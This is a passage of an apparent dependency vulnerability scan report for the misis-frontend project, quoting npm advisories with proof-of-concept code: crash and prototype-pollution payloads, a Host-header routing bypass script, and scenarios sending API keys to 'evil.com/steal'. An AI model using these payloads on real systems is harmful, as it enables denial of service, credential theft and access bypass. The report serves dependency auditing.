Identifiers

  • None

chunk-NHU2NPDK.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-NHU2NPDK.js
MD5: 14c1ceee56d473749325b747737198ec
SHA1: 800ef916de88dc77f5a1b34ea80da422b33d8b6d
SHA256:5a49eaa7856e59ba03ff7bac334c99d1a0347294fbc0e24ed703bd02557a44b6

Identifiers

  • None

chunk-OPGVS2PI.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-OPGVS2PI.js
MD5: 11aa96df1326fd201ab57cfb6ab49761
SHA1: 563e0420f8eac23dba4f958e556513c8e02f2cb3
SHA256:478de9fd1bdfb375ac443e5bd6d6aa4c56c14ec4b9e78f8da25d91c3be94300a

Identifiers

  • None

chunk-P6HMU473.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-P6HMU473.js
MD5: 143c9eae263b4424d3d283acc160ae0e
SHA1: 65e2b8795e26c7fd0d07959643184b06490b3f60
SHA256:9eab83677bf1d9c49d84c7a4d4c258706ba2aa065c61c441d66c54ef2e469d95

Identifiers

  • None

chunk-PHUAL655.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PHUAL655.js
MD5: 00c36cc4c0cb18560f49371f8f35267b
SHA1: 2dd0143ac03b076ca32ab19e74006a69f8e0e0aa
SHA256:3a68db500c6d8bb57e76853847a7ac2ed66c0c6bf9ec87d4890203ce0bb70d32

Identifiers

  • None

chunk-ROECGUZP.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-ROECGUZP.js
MD5: b71c2331030354e10ab9ce5b7b010950
SHA1: 47422a9da8e2338fb6d5999c640630cc5f008ac2
SHA256:9bcee9a6001be22dc996b8e9d64c93d6afa96b402801788d5d62386b53348f23

Identifiers

  • None

chunk-RRWBFRUF.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-RRWBFRUF.js
MD5: daa389b7816ed97885c610f74b85e1f2
SHA1: a2277f789806ab22e48c6692d59bf29cf18e4af6
SHA256:1a48e2823698659b160753255471457a5672e676d0eeffb7011b1ce1b0d77743

Identifiers

  • None

chunk-SMEY3MHP.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SMEY3MHP.js
MD5: 1518e0f42435419a2d666721ad307cab
SHA1: 183759ddfaec0d71872d3a47632d06a42cddbb48
SHA256:08bf20a38e2315a862ce500aa5eac6b69a17dfd55420c705d85355431f5ed06c

Identifiers

  • None

chunk-SP42GIS5.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SP42GIS5.js
MD5: d030c03d5b9a156b3d2f745a69f553eb
SHA1: d998b28d28c19ba4ae519d97621235ac18dadb67
SHA256:b7563c495f4b37237c457543c45ac7773caf97a633590260e66685d3d637616d

Identifiers

  • None

chunk-SPKGJ25A.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SPKGJ25A.js
MD5: 811a4044e4b8c2354b357f3c1b42b553
SHA1: b2adcb58389795bc7c61683daf0b196e3743b8a1
SHA256:3eb55b7df3e382b3e696eac3f8b5d901ea5dbfe342e85c5f1c98987dc7ebe717

Identifiers

  • None

chunk-TL2FMGJF.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TL2FMGJF.js
MD5: fee1e32f372c8970d704f46f91488cef
SHA1: c10918ec31796beb03f1f2a654a306c6a83d381b
SHA256:c4e4e834fb2dcce2988a31ab9203bd79ee1546dea6bb1801732f864dd348160e

Identifiers

  • None

chunk-TSRGIXR5.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TSRGIXR5.js
MD5: 4951adc246139c025e1b7195444c7ae7
SHA1: 6bdaee675b02d564efa037f5fec4c087e47f921d
SHA256:575c4182370246c3c184ea1a14b9d107f2043410ab46ee1b47e9451f408f2662

Identifiers

  • None

chunk-U7VAZIYO.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-U7VAZIYO.js
MD5: 43113d3245c484467b6b08c0c3f05aae
SHA1: fef9ed02e9fc72af4770a2938ceaa5c59b7a27bd
SHA256:d02fa5808fa821ea790ddeaa2bd58dcd7a6e1af7a91710dcabbcc5a21ea34ba1

Identifiers

  • None

chunk-UEVVXM4Z.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-UEVVXM4Z.js
MD5: 62760eb26f283bc83bdf9b302e546f08
SHA1: f60a344e7161a8f8a7c031bb5015f1f14aa2ee7c
SHA256:65d7d87e0220eb67c107f21e14fffc3b8a8c3b3cd7f849f7d23c54171cc75795

Identifiers

  • None

chunk-UPW4QMTG.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-UPW4QMTG.js
MD5: 0ae523e8573fa94de4d68cf7396aec3f
SHA1: 099bf6471027a47bd4aabb8033efa327fd048acd
SHA256:a3e72c7d1533995ac30b3bc5a63c4db75a842c35c7decaa85643a23cf711e4df

Identifiers

  • None

chunk-V2XVDRAQ.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-V2XVDRAQ.js
MD5: 17545b045e84c6c6d789bba460f78aee
SHA1: 7a911b59895595756437014b841701e9656dc4b8
SHA256:685bb1b3d26599a8ce81ab71419ff3d6662af5a2a30af759072a9b999ec67fcc

Identifiers

  • None

chunk-V6FC6KBB.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-V6FC6KBB.js
MD5: 794d87aad16b01eae5b6873bcb90f0af
SHA1: 6586e346eade45bc913e3ff6c00353dccb13d5e4
SHA256:506cd7b624324d4af52b4a28e66c40df016d96612c29dee840d3a02f94fe87c0

Identifiers

  • None

chunk-VCIV23RK.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VCIV23RK.js
MD5: 42458a96973834eb0ab83193adf36987
SHA1: 2fc8ff731490c2ae59b39a4992077cbafdd5f363
SHA256:ac624eecc127ab49cb3eb408a5b8520f7279a692a8921771b7fe5d6debec3e98

Identifiers

  • None

chunk-VPSKIO6K.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VPSKIO6K.js
MD5: 0ec8bd53e2a12a5935527c8862b9bcb2
SHA1: 6b114d38f3d927c56f74384020a064c7b1c84187
SHA256:5f924b0a65eb21cd931bc52598e5fc8c55abdfab097af18bf3addb7961416694

Identifiers

  • None

chunk-VU3DAIZQ.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VU3DAIZQ.js
MD5: c0abb18d03e5eb927d38dc03e0a761f4
SHA1: 79e9465a213ab80eb927580e4a80d62ea973e2f9
SHA256:766757bea6f5995d12fe4ea3f95260ff09a1bb97752d99a4cb542cb9ec25c95f

Identifiers

  • None

chunk-W6WDMCOE.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-W6WDMCOE.js
MD5: dfca27d1e8e67bd3eea010eee24e77df
SHA1: c186c34755548c8110b5b302a35c47ea868b1f51
SHA256:ea7b6a114882d6b85a2c95b4c77a928b336435a8bf2612b2639e05eed8dcf998

Identifiers

  • None

chunk-W6WGH6WE.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-W6WGH6WE.js
MD5: f8f754f96ae820050f670569fb5fb54e
SHA1: 5dca33f666ced85272c585c4dbf0d74a5131fc97
SHA256:5482431dadc3582aee3eb2d0f435ca4d02fb01111bc266cec8285ea56851df6e

Identifiers

  • None

chunk-WB4VYSQY.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WB4VYSQY.js
MD5: c1237525691bbd95579a01a5aa883888
SHA1: 69fb4e80bf8d1501b2fe24b3cb323201b71c1ddb
SHA256:cd410ab1099d3616a98a9bb65a4b13b072ebd004ff6823d2f439042606e56414

Identifiers

  • None

chunk-WNGMIR4V.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WNGMIR4V.js
MD5: ae6717e833d3c3dc41d8a2efaf2ceb75
SHA1: e9aef3d71ee0d6f19485597d5fdd43e35b21b287
SHA256:0c92eb82c8129645f794ea82897e1e90ac834b2da6a9a7dd5200c94635db738b

Identifiers

  • None

chunk-X5WXO2QU.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-X5WXO2QU.js
MD5: 6cf7567e0a0b48db22c38493775bb08d
SHA1: f235fc99c183cc0be77cdfd766173d5c8bbef19e
SHA256:d7fa5554e1657b8273203392f18a0ca3a7ba1e3723529797698238b964b7d75f

Identifiers

  • None

chunk-XTQJFHLZ.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-XTQJFHLZ.js
MD5: ffc2ab7ef0457e3adda43af560755ae4
SHA1: afe1d5ccb3ee430437563b6c17b408b73209ba50
SHA256:147d61423973b45df4e991ccdafef1b377c50c45efd2208ddc35727df6ff69b3

Identifiers

  • None

chunk-Y2PNIMXP.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-Y2PNIMXP.js
MD5: c4a878b58394f57352a2d49ce1ab5423
SHA1: 82b88398ec028d9431488801062259fac0ae658f
SHA256:f4dbeecb82f0c83a8501439f0a0b0339508a7c9866070df2e23e731cf0437bcb

Identifiers

  • None

chunk-YJ4EEMEV.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-YJ4EEMEV.js
MD5: f0f15e1b843a76c144ac5c3c9f752849
SHA1: 47ab4ffa3b9ff7136d9ca3a27a9c42e966c3f96b
SHA256:230c4acf847c70b28913de1524e796682ac9c7269fb2814b6755a09bc1895c00

Identifiers

  • None

chunk-ZF4SLAQA.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-ZF4SLAQA.js
MD5: 305c65ba6bb029e2b8dd94195cf550b3
SHA1: 8adf6c0e149f9be92954ab067e33483b3712ae2e
SHA256:3f75894daeb13d5fd2144200f15091153545d19d84000212f8e6a0ca510f1ed7

Identifiers

  • None

custom.js

File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/custom.js
MD5: b76a4710138519044113c0901bed4886
SHA1: 3ca657331ee0ebf8487d1b76bbdb9f715044e75b
SHA256:d046e704784bdaba7948a66d7842b3e092da01baaffbde1851f42e233f68c21e

Identifiers

  • None

engine.io:6.6.5

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?engine.io

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/engine.io@6.6.5  (Confidence:Highest)

GHSA-r635-g3xr-vw7x (NPM)  

### Impact

An unauthenticated remote attacker can cause a denial of service in affected versions of **engine.io** by opening Engine.IO polling sessions and sending an invalid binary `POST` request with:

```
Content-Type: application/octet-stream
```


against an Engine.IO protocol v4 polling transport.

In the vulnerable code path, the server reports a transport error but does not properly close the HTTP response associated with the malformed request. As a result, the underlying HTTP connection may remain open, consuming one server-side socket/resource per crafted request.

An attacker can repeat this with many sessions to exhaust available HTTP connections, sockets, file descriptors, or related server resources, potentially preventing legitimate clients from connecting.

### Patches

The issue was fixed in:

- **engine.io `6.6.7`**

The fix ensures that invalid binary polling `POST` requests are explicitly rejected with an HTTP response and closed properly.

Users should upgrade to:

```sh
npm install engine.io@^6.6.7
```

or a later fixed version.

If using Socket.IO through the monorepo/packages, update to a Socket.IO release that depends on a fixed `engine.io` version.

### Workarounds

If upgrading immediately is not possible, possible mitigations include:

- Block or reject polling `POST` requests with `Content-Type: application/octet-stream` for Engine.IO protocol v4 at a reverse proxy, load balancer, WAF, or application middleware.
- Disable HTTP long-polling if your deployment can use WebSocket-only transport.
- Enforce strict request/connection timeouts at the HTTP server, reverse proxy, or load balancer.
- Apply per-IP rate limits and connection limits for Engine.IO endpoints.
- Restrict access to the Socket.IO/Engine.IO endpoint where feasible.

Example Socket.IO configuration to disable polling, if compatible with your clients:

```js
const io = new Server(httpServer, {
  transports: ["websocket"],
});
```

## References

- Fix commit: https://github.com/socketio/socket.io/commit/fc11285e14964c2132d122164bf130c355f60671
- engine.io changelog entry for `6.6.7`: https://github.com/socketio/socket.io/blob/main/packages/engine.io/CHANGELOG.md#667-2026-04-27
- socket.io repository: https://github.com/socketio/socket.io
- engine.io package: https://www.npmjs.com/package/engine.io
CWE-404 Improper Resource Shutdown or Release

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:engine.io:\>\=4.1.0\<6.6.7:*:*:*:*:*:*:*

esbuild:0.21.5

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?esbuild

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/esbuild@0.21.5  (Confidence:Highest)

GHSA-67mh-4wv8-2f99 (NPM)  

### Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

**Attack scenario**:

1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

### PoC

1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

![image](https://github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

### Impact

Users using the serve feature may get the source code stolen by malicious websites.
CWE-346 Origin Validation Error

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:esbuild:\<\=0.24.2:*:*:*:*:*:*:*

flatted:3.3.3

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?flatted

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/flatted@3.3.3  (Confidence:Highest)

GHSA-25h7-pfq9-p65f (NPM)  

## Summary

flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

## Impact

Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

## Proof of Concept

```javascript
const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```

## Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.

## Affected Versions

All versions prior to the PR #88 fix.
CWE-674 Uncontrolled Recursion

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:flatted:\<3.4.0:*:*:*:*:*:*:*

GHSA-rf6f-7fwh-wjgh (NPM)  

---
  **Summary**

  The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index
  keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it
  with the key "\_\_proto\_\_" returns Array.prototype via the inherited getter. This object is then treated as a legitimate
   parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype
   to the consumer. Any code that subsequently writes to that property will pollute the global prototype.

  ---
  **Root Cause**

  File: esm/index.js:29 (identical in cjs/index.js)
```
  const resolver = (input, lazy, parsed, $) => output => {
    for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) {
      const k = ke[y];
      const value = output[k];    
      if (value instanceof Primitive) {
        const tmp = input[value];      // Bug is here
```

No validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric  keys. The key "\_\_proto\_\_" resolves to Array.prototype, which:

  - has type "object" → passes the typeof tmp === object guard at line 30
  - is not in the parsed Set yet → passes the !parsed.has(tmp) guard.
  - The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object.
  ---
  **Replication Steps**
```
  const Flatted = require('flatted'); 
  const parsed = Flatted.parse('[{"x":"__proto__"}]');
  parsed.x.polluted = 'pwned';
  console.log([].polluted);  // Returns true
``` 
 ---
  **Impact**
 An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution.

  **Recommended solution**
 Validate that the index string represents an integer within the bounds of input before accessing it:

  // Before (vulnerable)
  const tmp = input[value];

  // After (safe)
  const idx = +value;  // coerce boxed String → number
  const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length)
    ? input[idx]
    : undefined;
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:flatted:\<\=3.4.1:*:*:*:*:*:*:*

follow-redirects:1.15.11

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?follow-redirects

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/follow-redirects@1.15.11  (Confidence:Highest)

GHSA-r4q5-vmmm-2653 (NPM)  

## Summary

When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.

Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.

## Affected Code

`index.js`, lines 469-476:

```javascript
if (redirectUrl.protocol !== currentUrlParts.protocol &&
   redirectUrl.protocol !== "https:" ||
   redirectUrl.host !== currentHost &&
   !isSubdomain(redirectUrl.host, currentHost)) {
  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
```

The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.

## Attack Scenario

1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }`
2. Server returns `302 Location: https://evil.com/steal`
3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`
4. Attacker captures the API key

## Impact

Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.

## Suggested Fix

Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.

## Disclosure

Source code review, manually verified. Found 2026-03-20.
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:follow-redirects:\<\=1.15.11:*:*:*:*:*:*:*

http-proxy-middleware:2.0.9

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?http-proxy-middleware

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/http-proxy-middleware@2.0.9  (Confidence:Highest)

GHSA-64mm-vxmg-q3vj (NPM)  

# Summary

`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

# Details

Tested code state:

- validated on tag `v4.0.0-beta.5`
- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`

Relevant code locations:

- `src/router.ts`
- `src/http-proxy-middleware.ts`

Affected public API:

- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`

Code explanation:

When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:

```ts
hostAndPath.indexOf(key) > -1
```

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

```txt
localhost:3000/api
```

but the attacker-controlled host is:

```txt
evillocalhost:3000
```

and the request path is:

```txt
/api
```

The concatenated attacker-controlled string:

```txt
evillocalhost:3000/api
```

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table `router` feature with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted `Host` header
3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying
4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching
5. the request is proxied to the wrong backend

## PoC

Create these files in the same working directory and run:

```bash
bash ./run.sh
```

### File: `run.sh`

```bash
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```

### File: `Dockerfile`

```Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction
```

### File: `verify.mjs`

```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
```

This PoC starts:

- one default backend returning `DEFAULT`
- one alternate backend returning `SECRET`
- one proxy using:

```js
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});
```

It then sends:

1. a baseline request to `/api` with `Host: safe.example:3000`
2. a crafted request to `/api` with `Host: evillocalhost:3000`

Observed result from the validated PoC:

- baseline request: `STEP baseline-route body=DEFAULT`
- crafted request: `STEP crafted-route body=SECRET`
- success marker: `RESULT reproduced host_header_injection router substring match bypass`

The PoC is considered successful only if:

1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host

# Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.
CWE-20 Improper Input Validation, CWE-187 Partial String Comparison

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:http-proxy-middleware:\>\=0.16.0\<2.0.10:*:*:*:*:*:*:*

immutable:4.3.7

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?immutable

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/immutable@4.3.7  (Confidence:Highest)

GHSA-wf6x-7x77-mvgw (NPM)  

## Impact
_What kind of vulnerability is it? Who is impacted?_

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

## Affected APIs

| API                                     | Notes                                                       |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)`  | Same code path                                              |
| `merge(target, source)`                    | Shallow variant, same assignment logic                      |
| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |
| `Map.toObject()`                            | Same `toObject()` implementation                            |
| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |



## Patches
_Has the problem been patched? What versions should users upgrade to?_

| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |

## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)

## Proof of Concept

### PoC 1 — mergeDeep privilege escalation

```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
